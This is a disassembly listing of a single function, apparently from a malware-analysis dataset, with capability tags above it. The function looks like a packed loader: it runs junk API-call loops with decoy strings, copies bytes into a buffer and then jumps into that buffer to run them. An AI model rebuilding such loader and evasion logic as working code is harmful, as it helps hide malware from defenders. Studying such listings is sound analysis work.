Function at 0x448400
Capabilities:
Get common file path
Get file attributes
Manipulate console buffer
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1504
call fcn.00407780
mov eax, dword [0x44d008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_PrivilegedServiceAuditAlarmW]
xor esi, esi
cmp dword [0x451538], 0xc31
jne 0x44844c
push 0
push 0
push 0
push str.pavimamicugafurilajawabetonesehidogunufipu
push str.pipugeyiwaconojatirobejufujavifaderecaru
call edi
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x9260216
jg 0x448648
inc esi
cmp esi, 0x3661b720
jl 0x448428
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
xor esi, esi
cmp esi, 0x562d05
jne 0x448485
mov ecx, dword [0x44e558]
mov dword [0x45153c], ecx
cmp dword [0x451538], 0x3c
jne 0x448493
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x448471
cmp dword [0x451538], 0x7c
jne 0x44859b
push ebx
lea edx, [ebp - 0x808]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push str.Vowotumayul_xeyelofidiha
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x2e
lea eax, [ebp - 0x1438]
push ebx
push eax
mov dword [ebp - 0x143c], ebx
call fcn.004046a0
add esp, 0xc
push ebx
lea ecx, [ebp - 0x143c]
push ecx
push str.yubociwarocefitetivajugupupibiruhacipu
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
lea edx, [ebp - 0xc08]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
lea eax, [ebp - 0x1008]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
lea ecx, [ebp - 0x1408]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x1500]
push edx
mov dword [ebp - 0x1500], ebx
mov dword [ebp - 0x14fc], ebx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
cmp dword [0x451538], 0x2d
jne 0x44855f
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileStringA]
push ebx
lea eax, [ebp - 0x408]
push eax
push str.Lesahixibe_mebubogobu
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp dword [0x451538], 0x54
jne 0x448583
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ecx, dword [ebp - 0x14f4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
fldz
sub esp, 8
fstp qword [esp]
call fcn.00401560
fstp st(0)
push ebx
call fcn.004013d9
add esp, 0xc
cmp dword [0x451538], 0x110a
jne 0x44866a
push ebx
push ebx
push ebx
mov dword [0x450838], ebx
mov dword [0x45083c], ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
mov esi, dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push ebx
call esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea edx, [ebp - 0x14f0]
push edx
call esi
push ebx
lea eax, [ebp - 0x408]
push eax
push str.Virevuyugac
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push ebx
push ebx
mov dword [ebp - 0x1410], 0xf
mov dword [ebp - 0x1414], ebx
mov byte [ebp - 0x1424], 0
call fcn.0040136a
push ebx
push ebx
call fcn.0040136a
push 0x44b51c
push str.0.txt
push ebx
call fcn.004014f9
add esp, 0x1c
push ebx
push ebx
call fcn.0040136a
fldz
fst qword [esp]
sub esp, 8
fstp qword [esp]
call fcn.004012a0
fstp st(0)
add esp, 0x10
push ebx
call fcn.00401a16
cmp dword [0x451538], 0xa
jne 0x448467
lea eax, [ebp - 0x14f4]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
jmp 0x448469
call fcn.00447950
xor esi, esi
cmp dword [0x451538], ebx
jbe 0x4486cc
mov edi, dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetPrivateObjectSecurity]
jmp 0x448690
mov ecx, dword [0x45153c]
mov dl, byte [ecx + esi + 0xa231]
mov eax, dword [0x45024c]
mov byte [eax + esi], dl
cmp dword [0x451538], 0x5ab
jne 0x4486c1
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x451538]
jb 0x448690
xor ebx, ebx
call fcn.004480f0
call fcn.00447980
call fcn.00448370
mov ecx, dword [0x45024c]
xor eax, eax
cmp eax, 0xbd9cb
jne 0x4486f0
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x4486e3
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov dword [0x45024c], ecx
mov dword [ebp - 0x14f4], 0x6f479f
mov ebx, 0x8e55e61a
lea esp, [esp]
cmp dword [0x451538], 0x58
mov dword [0x450840], ebx
jne 0x44875d
push 0
push 0x44b52c
call esi
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x14fc]
push eax
mov word [ebp - 0x14f8], cx
mov word [ebp - 0x14f6], dx
mov ecx, dword [ebp - 0x14f8]
push ecx
push edx
push edx
push edx
call edi
sub dword [ebp - 0x14f4], 1
jne 0x448720
call dword [0x45024c]
mov edi, dword [sym.imp.USER32.dll_GetProcessDefaultLayout]
mov ebx, dword [ebp - 0x142c]
xor esi, esi
lea ebx, [ebx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call edi
cmp esi, 0x1ac2b
jle 0x4487a0
cmp ebx, 0xf5bee1
jne 0x4487a9
inc esi
cmp esi, 0x1ebc2db6
jl 0x448780
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401286
mov esp, ebp
pop ebp
ret